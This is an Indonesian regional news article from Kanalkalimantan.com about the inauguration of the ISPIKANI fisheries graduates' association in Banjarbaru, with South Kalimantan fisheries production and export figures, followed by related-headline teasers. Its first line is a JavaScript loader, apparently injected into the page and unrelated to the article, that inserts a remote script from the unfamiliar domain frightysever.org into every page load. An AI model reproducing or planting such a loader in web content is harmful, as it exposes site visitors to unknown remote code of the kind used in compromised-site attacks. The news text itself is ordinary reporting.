(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Dengan tema “Menuju Masa Depan Perikanan Kalimantan Selatan” Pengurus Ikatan Sarjana Perikanan Indonesia (ISPIKANI) Cabang Kalimantan Selatan, gelar pengukuhan dan diskusi bersama di Hotel Roditha Banjarbaru, Sabtu (30/6).
Dalam berlangsungnya acara tersebut menurut Ketua ISPIKANI Kalsel Ir H Fathul Arifin MP didampingi Wakil ISPIKANI Bandi Chairullah, S.Pi, MS menerangkan, sejak berdirinya Fakultas Perikanan dan Kelautan, hingga sekarang telah meluluskan sangat banyak tanaga ahli di bidang perikanan. Hal ini tentunya berpotensi untuk meningkatkan sektor perikanan Kalsel.
Banyaknya lulusan yang berkompeten tersebut membuat ISPIKANI berusaha ada sebagai wadah untuk mempasilitasi dengan organisasi. “Sehingga para ahli yang ada di situ dengan pemikiran yang inovatif dengan adanya ISPIKANI ini dapat membantu masyarakat dan bersinergi dengan program pemerintah secara Nasional,†ujarnya.
Sementara itu menurut Staf Ahli Bidang Kemasyarakatan dan Sumber Daya Manusia Drs Wing Ariansyah menjelaskan, sektor perikanan sangat potensial dan merupakan andalan Kalsel. Jelasnya, nilai ekspor Perikanan RI selama tahun 2017 mencapai Rp 60.8 Triliun, dan untuk Kalimantan selatan untuk wilayah perikanannya meliputi garis pantai sepanjang 1.330 km, perairan umum 1.000.000 ha, kolam 2.400 ha, tambak 53.382 ha dan minapadi/sawah 3.752 ha.
“Produksi perikanan Kalimantan Selatan tahun 2013 sebesar 339.437, 3 ton, yang terdiri dari perikanan tangkap sebesar 241.704,2 ton dan perikanan budidaya sebesar 97.733,1 ton,†ujarnya.
Hasil produksi perikanan Kalimantan Selatan secara umum masih banyak diserap untuk kebutuhan domestik sehingga menyebabkan usaha pemasaran ekspor hasil perikanan masih belum berkembang secara baik. Untuk itu Ariansyah mengharapkan agar kedepan dengan adanya asosiasi ini dapat meningkatkan peningkatan-peningkatan kebutuhan Laut.
“Saya mengharapkan dengan adanya ISPIKANI ini dapat membantu untuk terus mendorong peningkatan produksi perikanan dengan berbagai cara, baik seperti memberikan bantuan berupa kapal dan lain sebagianya,†ujarnya.
Masih di tempat yang sama menurut Ketua umum ISPIKANI Pusat Dr Gellwynn Jusuf, M.Cs mengatakan, faktor perikanan secara nasional memang merupakan potensi yang sangat besar untuk menjadi andalan dari pembangunan nasional, namun sumbangan dari perikanan tidak lebih dari 3% dari Produk Domestik Bruto (PDB) Nasional.
Data yang dihimpun Kanalkalimantan.com, dari badan pusat statistik RI tahun 2017, terlihat bahwa nilai PDB Nasional tahun 2016 mencapai Rp 9.433 triliun menurut harga konstan 2010 atau Rp 12.406 triliun menurut harga berlaku, berdasarkan hasil realis tersebut terlihat kontriusi subsector perikanan terhadap PDB relative stabil untuk harga konstan yaitu 2,27 persen dan sedikit ada peningkatan dari tahun 2015 sebesar 2,51 menjadi 2,56 ditahun 2016.
Menanggapi hal tersebut Gellwynn mengatakan tinggal bagaimana mendorong sector perikanan ini dapat memberikan sumbahan yang lebih besar lagi dengan upaya kebijakan-kebijakan yang dapat memberikan insentif bagi para pelaku-pelaku usaha dengan didorong dengan tekhnologi yang tinggi.
Tambahnya Gellwynn, ISPIKANI juga harus memiliki pemikiran yang inovatif dengan berkereasi sebanyak-banyaknya, karena sector perikanan ini hanya tinggal dikelola dengan tekhnologi dan pengetahuan, walaupun SDMnya saat ini terbatas.
“Untuk itu saya berterimakasih kepada fakultas perikanan yang dapat menghasilkan banyak ahli-ahli dan tenaga dibidang perikanan kedapan tentunya kami bisa mengajak mereka untuk bisa berinovasi untuk bisa lebih baik lagi,†pungkasnya. (Rendy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.